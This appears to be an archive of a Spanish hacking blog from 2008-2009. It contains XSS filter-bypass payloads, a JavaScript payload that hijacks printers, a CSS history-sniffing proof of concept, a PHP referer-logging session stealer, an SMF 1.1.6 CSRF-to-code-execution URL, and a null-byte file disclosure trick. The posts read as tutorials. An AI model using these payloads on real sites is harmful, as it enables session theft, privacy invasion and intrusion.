inicio de que se va a dibujar una línea con el comando newpath y el final con stroke. Con
esta información ya podemos empezar a dibujar figuras rectilíneas simples:

newpath
150 150 moveto
350 150 lineto
350 300 lineto
150 300 lineto
150 150 lineto
stroke

Aquí ya tendríamos un rectángulo. Exsiten múltiples programas que
sirven para representar en pantalla el dibujo, de esta forma podremos trabajar mejor.
Para indicar el ancho de línea con la que queremos que se realice nuestro
dibujo, emplearemos el comando setlinewidth:

X setlinewidth

Siendo X el grosor de la línea indicado en píxeles.

También podemos controlar la tipología con la que escribimos. Por
ejemplo, para seleccionar un determinado tipo de fuente no tenemos nada más que
escribir /nombredelafuente findfont . Despues seleccionamos el tamaño con scalefont (x
scalefont), setear la fuente para usarla con setfont y por último escribirla y mandarla
con show. En resumen:

/Times-Roman findfont
50 scalefont
Setfont
100 300 moveto
(Overload In The Net RoolZ!!) show

Por ultimo, para realizar la impresión sólo tendremos que finalizar con
showpage.

Son muchos los comandos y las posiblidades (desde trazar curvas, unir
puntos con curvas, usar colores, mapas de bits, etc…) y no es el objetivo de este
documento centrarse en esto. Simplemten pongo algunos casos sencillos para que
entendais más o menos lo básico de este lenguaje. Existen programas que convierten
webs enteras a PS, lo cual nos facilitaría enormemente el trabajo.

Para encapsular un código PS dentro de PCL para que sea ejecutado por la
mayoría de las impresoras, simplemente tenemos que inicialmente indicar qué lenguaje
vamos a usar usando para ello la siguiente directiva:

%-12345X@PJL ENTER LANGUAGE = POSTSCRIPT

Y para indicar hasta donde termina el código, usaremos %-12345X. Y
como último detalle decir que al inicio del código PS tenemos que poner antes del primer
comando %!PS.

Si todo esto lo unimos a JavaScript, tenemos la forma perfecta de
controlar la impresión. Aquí os dejo un pequeño ejemplo que he encontrado al consultar
un pequeño paper de Aaron Weaver


var msg=String.fromCharCode(27)
+ "%-12345X@PJL ENTER LANGUAGE = POSTSCRIPT\r\n”
+ "%!PS\r\n"
+ "/Courier findfont\r\n"
+ "20 scalefont\r\n"
+ "setfont\r\n"
+ "72 500 moveto\r\n"
+ "(Your printer is mine!) show\r\n"
+ "showpage\r\n"
+ String.fromCharCode(27)
+ "%-12345X”

./0x05 Conclusión

Para concluir simplemente decir que proteger las impresoras con passwords u
otros sitemas es algo bastante importante, ya que pese que aquí hemos visto
únicamente como imprimir en casa a ajena usando para ello una web vulnerable a XSS y
un poquito de JavaScript, el impacto puede llegar a ser bastante mayor. Por ejemplo, se
podría llegar a causar denegaciones de servicio en la impresora, y en toda la red.

A parte de esto, hay que tener mucho cuidado a la hora de las configuraciones,
para evitar que personas ajenas a la red puedan ejecutar acciones sobre ella, tal y como
hemos visto.

Para contacto: Camaleon__81 -at- Hotmail -dot- com

XSS CheatSheet

2009-02-20T03:22:00.004+01:00

Aqui os dejo esta pequeña "Chuleta" sobre XSS. Yo recomiendo guardarla en marcadores por si alguna vez os hace falta :P. La cosa es que quería postearla de tal forma que puedieramos buscar el tipo de filtro en ella... haber que tal os parece.

-Bloqueo del Número máximo de caracteres

Hacer Form Tampering o modificar el header

-Codigo se queda en un value=""

Poner un "> u otro elemento de clausura que nos deje salirnos

-Magic Quotes activadas (imposibilidad de poner comillas)

Poner el código .js en un host externo y hacer <script src=tuhost></script>

-Te impide poner / para cerrar un tag

<img src=. onerror=alert(/XSSed/)>

- Eliminación de caracteres especiales

<script>alert(

String.fromCharCode(88,83,83));</script> Siendo los números el valor del caracter en ASCII

-Filtro Strip_Tags (puedes meter algunos tags, pero otros como <script> los bloquea

<p style="background: url("JavaScript:alert(/xss/);">

-Supresión de ciertas expresiones o palabras

Salto de linea

JavaScr
ipt:alert(1);

Inclusión de otra palabra tabú en mitad de la que queramos java<script>script:alert(1);

Eliminación de funciones y expresiones dentro del código javascript
javascript:alert(eval('Saltando'+' Bypass'));

===============================================

Hasta aquí nuestra pequeña colección... realmente quisiera que me mandarais más al correo de contacto, las publicaré añadiendo el nombre del que me las haya mandado.

PD: Aqui teneis muuuuuuuuuuuuuuuuuuchas más formas interesantes:
XSS CheatSheet

XSS: Más formas de realizar un bypass

2009-02-18T05:40:00.003+01:00

Saludos!

Son las 5:41 AM y mañana tengo clase de "Citología e Histología Animal y Vegetal", despues "Bioquímica", "Física", "Bioestadística" y por último prácticas de laboratorio de BQ... total que mi jornada empieza a las 9 de la mañana... así que imagenese el panorama: ahora no me puedo dormir porque no me despertaré. Por ello, voy a hacer algo productivo añadir un par de formas más sobre como saltar determinados filtros, y ya mañana cuando vuelva de clase (puesto que tengo huecos de varias horas) a mi habitáculo numerado como 302.... me pondré a juntar todos los métodos (es decir, extraer de aquel paper que hice ya time) y haré una especie de chuleta para tener en los marcadores por si nos hace falta ;)

Allá que vamos.

__________________________________________________

·Filtros basados en la supresión de palabras o expresiones concretas:

A este respecto, he encontrado dos formas curiosas de hacer el bypass. Una es aprovechando que la función de filtrado es Case Sensitive, es decir, que no distingue entre mayúsculas y minúsculas. En estos casos, si por ejemplo el filtro suprime la palabra "Javascript", nosotros podemos usar JaVaSCRiPT, y nuestro navegador lo dará por bueno :)

Otra posible forma que se me ocurre es el de meter un \n en mitad de la palabra, es decir, hacer:

JavaScr
ipt:alert(1);

Normalmente los navegadores suelen dar esto por válido y empalman la palabra automáticamente (siempre hay excepciones). Otro bypass u ofuscación de palabras puede ser el meter otra palabra tabú en mitad de la que nosotros queremos. Siguiente el ejemplo de la prohibición de Javascript:

java<script>script:alert(1);

De esta forma, el filtro eliminará <script> y empalmará el texto "javascript".

·Filtrado de expresiones, atributos y funciones

En algunas ocasiones el sistema sí permite el uso de código JS, pero meten un filtro para que suprima ciertas funciones que podrían volverse... "problemáticas". Para ello podemos usar eval(), metemos en ella la palabra por partes y despues concatenamos:

javascript:alert(eval('Saltando'+' Bypass'));

·Adhesión de caracteres al final de la cadena

Este curioso tipo de filtro me lo encontré en una web donde al hacer búsquedas, creaba un link a una foto del tipo <a href="http://example.org/index.php?z=LoqueBuscasSearched">. Me filtraba los <>, así que la idea de siempre de hacer "> no podía ser. El caso es que simplemente puse " para cerrar el href y despues puse un evento onmouseover con el JS y para poder evadirme el Searched">, simplemente me inveté un atributo. Entonces introduje esto:

foo" onmouseover=alert(1); bio="

Y el resultado fue:

<a href="http://example.org/index.php?z=foo" onmouseover="alert(1);" bio="Searched">

Bueno, son las 6:20AM ahora mismo (me fui a comer algo tenía hambre XD) y no se me ocurre ningún otro bypass, cuando me acuerde lo añadiré sobre la CheatSheet.

Byt3z a todos

CSS Attacks I : CSS History Hack

2009-02-17T20:16:00.005+01:00

Saludos!

Este es la primera publicación que voy a hacer sobre el tema, y va ser más bien una pequeña introducción al tema con un ejemplo bien sencillo sacado del scanner en CSS que me linkeó S e t h hace un par de días.

Bien, a qué nos referimos cuando hablamos de CSS attacks... nos referimos a aquellos ataques que, o bien se basan en CSS (Cascade Style Sheet) o bien lo usan como vector. Un ejemplo, que en cierto modo usa de CSS para llevarse a cabo, es el cickjacking, tema sobre el cual hablaremos en otras entregas.

El peligro de los ataques CSS reside en que en principio no hay forma de protección, ya que si tú visitas una web maliciosa, normalmente si se intenta realizar algún tipo de ataque, éste se intenta en un 99% a través de malware en Javascript. Por el contrario, si un usuario bloqueaba la ejecución de código JS, estaba "blindado" contra ataques de este tipo.

Es a finales de verano/principio de otoño cuando Lix me estuvo acribillando a links sobre esto de usar CSS para ataques (él en concreto me estuvo hablando de aquello del clickjacking), y sí, fue una especie de "revolución bloggera", era raro el blog que no había publicado algo sobre el tema. Y es que, ciertamente, cuando una vulnerabilidad se le da mucha fama es lo que pasa. Cuando hoy en día encontramos vulnerabilidades de gran importancia... si no se las promociona quedan en un grupo reducido de bugtraqs y advisorys de las webs, como no, de habla inglesa.

Bueno, retornando a lo que es el tema en sí, yo he querido ejemplificar (más que nada para abrir boca y que los lectores esperen con mayor ansia los siguiente capitulos sobre el tema) algo de ataques en CSS con un logger de sitios visitados (incido, la idea no es mía, la ví en un lnk que me ruló S e t h, pero el PoC sí es mío).

Como todos sabemos, los enlaces de las webs se pueden "embellecer" aplicandole atributos CSS como pueden ser hover (para que cambie el diseño al depositar el cursor sobre el link), visited, etc... Y también sabemos, que existen ciertos elementos en los cuales podemos hacer referencias a elementos externos. Hacia estos elementos externos salen peticiones GET desde nosotros para recopilar su contenido. Bien, ¿y que pasa con esto?. Pues que si se hacen peticiones de tipo GET hacia elemtnos del exterior... podemos incluir el seteo de variables GET y de esta forma logear cierta información, hacer que el usuario realice algún tipo de acción, etc...

Si nosotros declaramos en a:visited que mande una petición a otro archivo nuestro, y ponemos un listado de webs, podremos loggear en qué webs ha entrado. Aquí os dejo la prueba de concepto:



<head><title>Proof of Concept -> CSS History Hack</title></head>
<body>
<style>
a.link1:visited{
background: url(poc.php?visited=1);
}
a.link2:visited{
background: url(poc.php?visited=2);
}
a.link3:visited{
background: url(poc.php?visited=3);
}
</style>


<h1>Proof of Concept for CSS Hystory Hack</h1>
<br><br><center>
<a href="http://google.com" class="link1">Google</a><br>
<a href="http://0verl0ad.blogspot.com" class="link2">0V3RL04D 1N TH3 N3T</a><br>
<a href="http://unam.mx" class="link3">Primera web que me salió por google XD</a><br>

<?php
$file = $_SERVER['REMOTE_ADDR'].'.txt';
$abierto = fopen($file, a);
switch($_GET['visited']){
case '1':
fwrite($abierto," Google,");
break;
case '2':
fwrite($abierto, "\nMi blog,");
break;
case '3':
fwrite($abierto, "\nUnam.mx");
break;
}
fclose($abierto);
echo '<a href='.$_SERVER['REMOTE_ADDR'].'.txt> Click aqui para ver tu historial </a>';
?>

Otra vez en ON

2009-02-16T11:37:00.002+01:00

Saludos lectores... (si es que tengo alguno XD).

Cierto es que he descuidado bastante el blog, si bien las circunstancias se escapan del objetivo del posts (lo siento), sí que voy a pedir disculpas a las pocas personas que leían algo de aquí y que dejaron de leer por mis propios problemas.

Ahora he vuelto a publicar aquí, eso sí cambiando ciertas cosas, como mi cambio de nick. En principio no sé muy bien con quien continuar publicando, pero llevo un par de días volviendo a leer toda la movida que se montó a finales de verano/principio de otoño con el tema del clickjacking (Menuda semana me dió mi bibliotecario preferido AKA Lix; por cierto tengo ganas de volver a hablar contigo, he tenido que suplirte por multis con seth y plaga, pero no es lo mismo que tus charlas repletas de links XDDD). Sí aquel tema que se propagó como el fuego en gasolina por todos los blogs. Algunos dirán que es materia ya conocida... pero a día de hoy seguimos haciendo papers sobre SQL injection y también es tema ya trabajado desde hace años.

Bueno, la cuestion es que en dos días que estaba releyendo referencias que me dió Lix, y hablando con S e t h, resulta que ahora el clickjacking ha sido incluido en una categoría de ataque denominada "CSS Attacks" (Si sí, CSS de Hojas Estilo Cascada) por algunos autores, y bueh leyendo por ahí he seguido investigando esto de los ataques utilizando CSS. Así que estaba pensando en hacer un ciclo de publicaciones (tres o cuatro) similar al que ya realicé hace tiempo sobre el protocolo HTTP, ya que en español apenas he encontrado unas pocas referencias y las explicaciones son muy simplesm (prometo poner PoCs)

Otra idea que he tenido al observar códigos de malwares en JavaScript y XSS es la idea de publicar un par más de formas de realizar bypassing a filtros (algunas formas descubiertas por experiencia propia y otras sacadas de sources de otras personas), además de hacer una CheatSheet como recopilación esquematizada de todos los expuestos en el blog.

Y por último, quisiera saber si hay lectores que sigan el blog, así que por favor si estás leyendo esto (de aquí hasta el 16 de Marzo) mandame un mail a mi dirección (Camaleon__81 [\at/] Hotmail.com) o postea en este mismo thread. También quisiera saber qué es lo que más te gusta del blog y qué temas quieres que tratemos de aquí a los próximos meses (S e t h SQL no me lo pidas que ya te conozco :P, hay mucho en la red sobre eso)

Byt3z

XSS Woms: El terror de las redes sociales

2009-02-16T03:24:00.002+01:00

Hoy vamos a hablar de los XSS Worms, un nuevo peligro en la red que combina una de las vulnerabilidad es más comunes que podemos encontrar y un vector de propagación de una magnitud calificada en algunos casos como "mayor que el envio de mails entre listas de correo".

En una red donde encontramos una gran cantidad de vulnerabilidad es de tipo XSS (algunos auditores estiman de porcentajes cercanos al 80%) en aplicaciones web, no es de extrañar que también podamos encontrarlos en las famosas "redes sociales". Las redes sociales son uno de los proyectos con más éxito de la actualidad, con cifras astronómicas (véase los más de 180 millones de usuarios que se estiman que tiene Myspace), consistente en que un usuario tiene un espacio personal, con su perfil, subida de fotos suyas, etc.. y un listado de amigos a los que agrega y con los que mantiene una interrelación a través de la red.

Esta interrelación con esos "amigos" no queda ahí, ya que cuando visitamos los perfiles de nuestros amigos, podemos ver sus amigos (en la mayoría de redes) y al entrar al de alguno de ellos los amigos de sus amigos... y así sucesivamente podemos tener una basta colección de perfiles visitados. Desconozco el número de amigos de promedio qeu suele tener cada usuario, pero lo que sí es seguro que si aplicamos la exponencialida d de poder visitar los perfiles de otros usuarios hablamos de cifras indudablemente de una magnitud increíble, y podemos acceder a ellas con un simple click...

Volviendo a la parte que nos interesa, si encontramos un campo vulnerable a XSS permanente, tal como puede ser el nombre, la descripción, el título de una foto o algun otro que aparezca en el perfil que tus amigos y otras personas ven, podríamos "atacar" a todas esas personas.

Muchas personas estarán pensando en un cookie stealing a gran escala, pero siento deciros que entonces hablaríamos de la explotación prototípica que hacemos de los xss, a parte, de que estas redes ya incorporan sistemas de sesiones (no pongo la mano en el fuego, pero creo que por ejemplo tuenti ya las usa) en los cuales, la asignación de un identificador (ID) se realiza a partir de funciones de tiempo, por lo cual probablemente nos sea de poca utilidad. Pero como bien acabo de decir, esto sería un uso vulgar y común de un XSS y que no aporta nada nuevo, pero... ¿Y si usaramos el XSS como un vehículo de propagación y lanzamiento de algún payload? Y si por ejemplo... ¿Hacemos que cada persona que mire tu perfil se "infecte" y agregue a su perfil también el código malicioso?

Bien bien, en esto consisten los XSS Worms, en difundirse a través de los visitantes de tu perfil y al mismo tiempo introducir algún payload (P.e.: poner un lnk de descarga de un troyano a través de la simulación de que es el propio dominio que requiere la instalación de algún objeto, mandar MPs con SPAM, explotar alguna vulne de los navegadores, etc...).

Los XSS Worms tienen una velocidad de propagación muy alta, aquí os dejo un screenshoot de un gráfico de la propagación de Samy, el más famoso XSS worm que atacó la red de Myspace:
La propagación está basada en el fenómeno que ya he comentado antes, el hecho de que si yo (individuo A) tengo coloco en mi perfil el código malicioso, si 7 personas ven mi perfil en el último cuarto de hora (individuos A'), ellos tambíen quedarán infectados. Si en el siguiente cuarto de hora, el perfil de esas siete personas, es observador por otras siete personas (individuos A'' ), tendremos que en media hora tendremos un total de infectados (TI), de:

Ti = ( A' )2 + A' => Ti = 56

Como vemos, en el supuesto de 7 personas (que incluso podríamos considerarlo como un promedio bajo de visitas recibidas en un cuarto de hora) estamos hablando de que en sólo media hora tenemos 56 personas infectadas... imaginad cuando pasen 12 horas la cantidad de gente infectada que existiría. Es por ello, que Samy marcó un hito en la historia convirtiendose en el malware con la velocidad de propagación más rapida de toda la historia.

Ahora vayamos al meollo de las cosas, ¿en qué consiste un XSS Worms?. Un worm de este tipo, suele tener un source suele tener dos grandes apartados. El primero de ellos, es la parte encargada de la infección del visitante, consistente normalmente en un código en AJAX cuyo objetivo es que cuando el visitante ejecuta el código malicoso en su navegador, se envíe desde este una petición de tipo POST que agregue en el formulario vulnerable a XSS el código malicioso del worm, así tendremos asegurada la propagación de los A' hacia los A'' y de estos a los A''' y así sucesivamente.

La otra parte es el payload. Un payload, en términos de virus (e incluso en exploits, por ejemplo cuando conseguimos shell explotando un BoF) se trata de los efectos malificiosos que provoca. Un efecto devastador, (a parte de los payloads que podemos imaginar) es la gran cantidad de tráfico que podemos generar con nuestro gusano. Y por gran cantidad, estamos hablando de llegar a producir denegaciones de servicios provocadas por los recursos consumidos.

Otra característica a tener en cuenta a la hora de programar un worm es el uso de tecnicas de ofuscación de código y bypass para saltar los filtros... a parte de tener portabilidad en el mayor número de navegadores posibles, de esta forma la probabilidad de infectar usuarios es de 98 sobre cada 100. Por último todo esto debe de venir acompañado de un bajo peso. En este sentido, navegando por uno de esos links que llegan a mis manos en las multiconversac iones que mantengo con S e t h y Plaga ( en las cuales normalmente siempre sacamos algo de provecho (véase hacer este pequeño paper)) encontré cierto concurso de Ha.ckers.org que ganaron Giorgio Maone and Sirdarckcat con un XSS Worm de 161 bytes.

En conclusión, podemos decir que nunca hay que menospreciar un XSS, puesto que podemos lograr mil cosas, desde subir una XSS Shell, robos de identidad a gran escala, hasta lograr un DoS en sites "relativamente importantes", tal y como son hoy en día las redes sociales.

LINQ in Action 2008

2008-11-30T22:07:00.000+01:00

LINQ, una de las grandes novedades de la nueva generación de tecnologías de Microsoft, nos permite a los desarrolladores de C# y VB realizar consultas de forma nativa sobre cualquier colección de datos.

LINQ in Action 2008

Salu2

PD: Como toda buena información, está en inglés, y mucho me temo, poca encontrarás en español, y más que sea tan completa.

Universal Hijacking by (GET Method)

2008-11-27T20:34:00.003+01:00

Por Vengador de las Sombras (F.O.S. TeaM)

Saludos a todos!

Bueno... antes de empezar, quiero decir que no he visto por ningun lado nada referente a esta técnica, pero en mi opinión es más que probable que haya alguna publicación donde aparezca algo... si alguien encuentra algún link donde ya hablen de esto, por favor posteadlo.

El tema en principio sería el poder robar sesiones en sistemas que usen los identificadores en variables que se introduzcan por método GET. La idea original me ha surgido mientras testeaba una web, estaba observando las cabeceras HTTP y observé que al cargar las imágenes se mostraba una cabecera de petición GET a dicha imagen, y que aparecía el campo "Referer" la URL http://example.org/index.php?id=1234. Bien, esto es una cosa obvia que todo el mundo conoce... pero bueno, mi cabeza empezó a maquinar una idea... (si, lo que todos estais pensando).

El caso es que se me ocurrió aplicar la técnica de explotación de los XSRF (la de <img src=http://example.org/index.php?acion_ha_realizar>) para apuntar a un script php nuestro, donde guardaríamos el Referer ($_SERVER['HTTP_REFERER']).

Para probar, me hice un pequeño PoC en LocalHost. Primero hice un test.php cuyo contenido era únicamente <img src=/stealer.php>. Y otro archivo con el siguiente source:


<?php
$m = fopen("referer.txt","w+");
$texto = $_SERVER['HTTP_REFERER'];
fwrite($m,$texto);
?>

Cuando ya tenía el escenario preparado, procedí a entrar a http://localhost/test.php?session=12345 y esta una de las cabeceras que obtuve:



GET /stealer.php HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; es-ES; rv:1.9.0.4) Gecko/2008102920 Firefox/3.0.4
Accept: image/png,image/*;q=0.8,*/*;q=0.5
Accept-Language: es-es,es;q=0.8,en-us;q=0.5,en;q=0.3
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 300
Connection: keep-alive
Referer: http://localhost/test.php?session=12345

Y al abrir el archivo referer.txt aparecía la URL http://localhost/test.php?session=12345 , luego el ataque tuvo éxito.

Este ataque (que no creo haber descubierto, por favor si alguien tiene alguna refernecia sobre este ataque que la postee) en principio afectaría a todo tipo de web, blog, foro, etc que dejara postear tags tipo <img> o el BBcode [img], ya que en el caso de un foro por ejemplo, podríamos ponernos una firma que apuntase a nuestro robador de sesiones....

Si existe algún tipo de error, por favor también posteadlo.

Session Hijacking & Fixation Method

2008-11-20T19:33:00.003+01:00

Por Vengador de las Sombras

Hace ya tiempo Lix me recomendó hacer algún tipo de publicación que hablara de Session Fixation hará como dos o tres semanas... La cosa es que he estado demasiado liado con la universidad y no he tenido tiempo apenas para ponerme a escribir unas líneas sobre el tema y documentarme más (como ya sabes Lix, mil gracias por esos maravillosos links que me expendes).

Bueno... tras esta pequeña introducción pasemos a aclarar conceptos, empezemos por "Session". Una sesión es una interrelación entre un cliente y un servidor basada en un conjunto de caracteres que identifican a dicho cliente, haciendo que se pueda asociar informacion a ese identificador. Por ejemplo, para no tener que estar logeandonos contínuamente, podemos usar un sistema de sesiones que realicen un logeo automático.

El servidor guarda un archivo temporal con la cadena identificadora, y cada vez que compruebe la sesion del cliente (ya sea porque se la dá por una variable de tipo GET, o bien porque se encuentra en una cookie) comprobará esos archivos... Ya comentemos hace tiempo sobre estos archivos temporales, cuando comenté la idea de infectar esos archivos para usarlos a modo de WebShell (idea recogida de una publicación de Hondamena en vZack Forum).

¿Y qué es Session Hijacking?, llamamos Session Hijacking a cualquier método o técnica que tenga como fin el conseguir la session de una víctima. Las formas de conseguir este objetivo son variadas, como por ejemplo sniffeando tráfico (si conseguimos interceptar las peticiones a un host, podremos obtener el identificador de sesion). Hablando de esta forma, que podríamos definirla como "Interceptación", hemos de decir que cuando las sesiones están en variables de tipo GET (es decir, se introducen a través de la ULR) están mucho más expuestas a este tipo de ataque. Otro método menos conocido, probablemente por su dificultad o escasez, es el de "Predicción", basado en realizar un ataque por fuerza bruta hasta obtener una sesión válida... Puede parecer un ataque poco efectivo... pero si se convina con cualquier otra vulnerabilidad obtenemos un ataque plausible. Es el caso del bug que hubo en los foros SMF 1.1.5, en el cual por culpa de los servidores Win32 y de la función rand() se podría "predecir" (tras realizar una fuerza bruta) la sessión del admin y así resetear el password...

Los XSS suelen ir asociados también al robo de sesiones, aunque no son un método en sí, juegan un papel importante tanto en la interceptación (por la posibilidad de, por ejemplo, robar una cookie) como en Session Hijacking, cosa que ya veremos.

Y ahora es cuando viene el método sobre el que vamos a centrar: Session Fixation. En los anteriores métodos siempre se ha desconocido el identificador del cliente y lo que se ha buscado es tratar de averiguar cuál es. En esta ocasión, se cambia la mentalidad y lo que se busca es hacer que el cliente se logee con una sesión que ya conocemos. La ventaja de este método, es que cambiamos el identificador del cliente por uno que conocemos, por lo que cuando nosotros entremos a esa sesión, tendríamos sus mismos privilegios...

Un pequeño PoC para sintetizar brevemente el concepto en sí, puede ser el que aparece en el Blog de Chrish Shiflett, en el cual se muestra el siguiente código fuente:


<?php 
session_start(); 

if (!isset($_SESSION['count'])) 
{ 
   $_SESSION['count'] = 0; 
} 
else 
{ 
   $_SESSION['count']++; 
} 
 
echo $_SESSION['count']; 
?>

Si guardan este ejemplo como /session.php y acceden a él a través de /session.php?PHPSESSID=1234, la primera vez veremos un "0", pero si volvemos entrar más veces, podemos observar cómo el número va aumentando. Ahora bien, si tras hacer esto, probamos a entrar a esa misma URL desde otro ordenador... podremos observar que no aparece "0". De esta forma se puede demostrar que esa sessión existe, y que hemos entrado en ella.

Ahora hablemos de como explotar este tipo de fallos. Si la identificación se establece a través de una variable tipo GET, podemos usar ingeniaría social + un iframe oculto, o bien realizar una redirección, ya sea por Meta Refresh o directamente de protocolo (en PHP con un
header('Location: http://host/index.php?PHPSESSID=caracteres');). Si en cambio se trabaja con Cookies... la cosa se complica, pero no demasiado.

Si encontramos un XSS en el host vulnerable, podríamos intentar colar un JavaScript que cree una cookie con la session que nosotros queramos... Pero el problema es que muchos filtros (dificiles de bypassear) no permiten introducir los tags de script, así que podemos recurrir al Meta Tag set-Cookie [1].

Bueno hasta aqui esta pequeña publicación... decir que no he querido extenderme mucho porque Lix tenía pensado publicar algo al respecto de este tema, y no quiero chafarle su paper.

Referencias:

[1]Aceca del Meta Tag Set-cookie
Session Hijacking
Session Fixation

Recopilación de tutoriales

2008-11-14T16:09:00.002+01:00

Bueno, he encontrado varios tutoriales por la web que están bastante bien para iniciarse con Microsoft Expression Blend. Comparto con ustedes:

Descarga (731KB)

Salu2

Juego del ahorcado

2008-11-14T16:08:00.000+01:00

El famoso fuego del "Ahorcado" con Visual Basic y SharpDevelp paso a paso.

Descargar vídeo-tutorial + Source

Salu2

Autoexamen

2008-11-14T16:07:00.001+01:00

En este vídeo-tutorial se hace una introducción tanto al entorno de SharpDevelop como a la sintaxis de C#, para crear una aplicación que servirá para autoexaminarnos.

Descargar vídeo-tutorial + Source

Salu2

Vídeotutoriales - Desarrollo de videojuegos

2008-11-14T15:57:00.006+01:00

Vídeo-tutoriales

01 Matamarcianos [Descargar vídeotutorial + fuentes]
Tecnologías: Laszlo, Eclipse - Nivel técnico: 3-Medio

02 Algoritmo Minimax (IA) [Descargar vídeotutorial + fuentes]
Tecnologías: Java, JSP, Netbeans - Nivel técnico: 3-Medio

03 Pong3D con Java3D [Descargar vídeotutorial + fuentes]
Tecnologías: Java3D, Netbeans - Nivel técnico: 4-Medio/Alto

04 Desarrollo de una bolera virtual [Descargar vídeotutorial + fuentes]
Tecnologías: Java - Nivel técnico: 5-Avanzado

05 Game Maker [Descargar vídeotutorial + fuentes]
Tecnologías: Game Maker - Nivel técnico: 1-Básico

06 Juego de coches [Descargar vídeotutorial + fuentes]
Tecnologías: J2ME - Nivel técnico: 2-Básico/Medio

07 MazeRunner [Descargar vídeotutorial + fuentes]
Tecnologías: Javascript - Nivel técnico: 3-Medio

08 Búsqueda de soluciones basadas en IA [Descargar vídeotutorial + fuentes]
Tecnologías: Algoritmos de búsqueda - Nivel técnico: 4-Medio/Avanzado

09 El juego del trilero [Descargar vídeotutorial + fuentes]
Tecnologías: Java y UML - Nivel técnico: 2-Básico/Medio

10 Tiro a diana [Descargar vídeotutorial + fuentes]
Tecnologías: Java - Nivel técnico: 1-Básico

11 Busca las minas [Descargar vídeotutorial + fuentes]
Tecnologías: Java - Nivel técnico: 2-Básico/Medio

12 Tragaperras [Descargar vídeotutorial + fuentes]
Tecnologías: Java - Nivel técnico: 1-Básico

13 Tetris [Descargar vídeotutorial + fuentes]
Tecnologías: Java - Nivel técnico: 4-Medio/Avanzado

En construcción

Salu2

SMF 1.1.6 Remote Code Execution

2008-11-07T14:39:00.003+01:00

Saludos!

Seguro que si estás leyendo esto es porque te has hecho eco de la publicación de un exploit que explota un RCE en los foros SMF 1.1.6. Quisiera con este post analizar el cómputo de vulnerabilidades que han posibilitado provocar el RCE. Antes de empezar quisiera decir que la información que aquí publico está extraida del exploit. Bien, empecemos...

Como ya he dicho al inicio, esta vulnerabilidad no es una en sí, sino la suma de varias fallas... Empezando por el principio, todos somos conscientes de que para evitar que un admin realice acciones dentro del panel de administración sin ser consciente de ello, es decir, para evitar que se produzca un CSRF, SMF usa un sistema de sesiones.

Para realizar cualquier accion (en principio) el SMF debe de requerir la sesión y así evitar ejecutar algo por clickar sobre un link o algo.. pero como he dicho esto es sólo en "principio", porque para la instalación de paquetes no es requerido.

Entonces estamos ante un CSRF, en el cual podríamos hacer que el administrador instalase paquetes sin que se diera cuenta, simplemente tendríamos que ingeniarnosla para que clickase sobre esta URL:

http://[website]/SMF/index.php?action=packages;sa=install2;package=[filename]

Si analizásemmos el código fuente, podríamos ver que la variable $_REQUEST['package'] no es filtrada, lo que nos permite (aprovechando el CSRF) hacer que el admin instale cualquier tipo de paquete, sin tener en cuenta su localización (en extensión .gzip)

Entonces... si pensamos un poco, podemos encontrar dos formas de subir desde nuestro ordenador un archivo a un foro SMF. Por una parte está el upload de imagenes para usarlas como avatar (casi siempre deshabilitado y dificil de bypassear) y por otra, podemos agregar un archivo a un post, sin importar su extensión.

Ya sólo nos quedaría encontrar el archivo que hemos subido y hacer clickar al admin para que instale todo... Y es aquí donde SMF vuelve a meter la pata: podemos encontrar fácilmente nuestro archivo subido.

SMF cambia el nombre a los archivos que se suben de esta forma, pero al renombrarlos no usa ningún tipo de función que dé caracteres aleatorios sino que lo hace de esta forma:

[id]_[name]_[ext][md5([name].[ext])]

Entonces, la URL maliciosa quedaría tal que así:

http://[website]/SMF/index.php?action=packages;sa=install2;package=../attachments/[nombre de nuestro archivo]

En el exploit que hay en milw0rm lo que se hace es crear un post agregando nuestro archivo .gzip y despues modifica ese post para hacer un [img]
http://[website]/SMF/index.php?action=packages;sa=install2;package=../attachments/[nombre de nuestro archivo][/img] y así cuando un admin vea el post instale todo.

Exploit en Milw0rm

Poison Null Byte

2008-10-13T16:54:00.004+02:00

Por Vengador de las Sombras

Es esta una vulnerabilidad ya archiconocida por todos, pero que no está de más hablar un poco sobre ella. Los caracteres nulos, o Null Bytes, son caracteres especializados en la señalización del final de una cadena, es decir, indican el final de una cadena. De esta forma, los caracteres que vengan detrás del null byte serán ignorados. Esto va a adquirir mucha importancia a la hora de bypassear ciertas funciones o filtros.

La representación de estos caracteres nulos cambia en cada lenguaje, pero básicamente siempre están compuestos por 0s. Por ejemplo:

PERL => \0
C++ => \x00
URLENCODE => %00

Estos son solo unos pocos ejemplos. Bien, entonces si tenemos una string (~cadena de texto) con el contenido "Hola Soy Vengador de las Sombras", en realidad eso equivaldría a "Hola Soy".

Ahora que ya hemos comprendido el cómo funciona la vulnerabilidad, pasemos a la parte práctica. Imaginémonos que tenemos una aplición web en PERL, y que un cacho del código fuente es así:


###############Trozo de Código#########################

# $opcion es introducido por método get desde la URL

$archivo = "$opcion.html";
open(PAGINA,"<$archivo"); @source = ;
foreach $linea (@source){
print $linea;
}

####################Mas codigo fuente ####################

Si yo por ejemplo pusiera PUTA, el script trataría de abrir el archivo PUTA.html. Ahora imaginémosnos que tiene en el mismo directorio (si lo tuviera en otro también se podría hacer, sólamente tendríamos que añadir ../ para ir subiendo directorios) un archivo llamado Index.php. Si nosotros seteamos $opcion con la cadena index.php, el script trataría de abrir index.php.html, que no existe y por tanto daría error.

Pero si lo que hacemos es colocar un null byte (%00) en la petición GET, podremos lograr que el script ignore la última parte (.html) abriendo index.php y permitiéndonos ver su código fuente (un Source Code Disclosure). Entonces la petición debería de quedar algo así: ?opcion=index.php%00

COmo pueden ver, esta técnica es aplicable (siempre y cuando sea vulnerable a esta técnica) tanto a SQL injections, como a LFIs, Transversal Paths, etc... es sólo usar la imaginación.

SMTP Injection: Otro ataque de CR/LF

2008-09-30T12:22:00.004+02:00

Saludos a todos...

Bien siento el haber dejado un tanto de lado la publicación de papers y manuales, pero es que ando liado con la universidad y tal... Adelanto que probablemente se realice un artículo en colaboración con Sknight al estilo de "HTTP Al descubierto", pero esta vez orientado más a vulnerabilidades relacionadas con las cookies.

SMTP INJECTION

Las SMTP injections son una aplicación de la técnica conocida como "CRLF Injections". La vulnerabilidad y el ataque más habitual (HTTP Splitting) vienen introducidos en una anterior publicación[1], así que no vamos a entrar en el tema de en qúe consiste y demás.

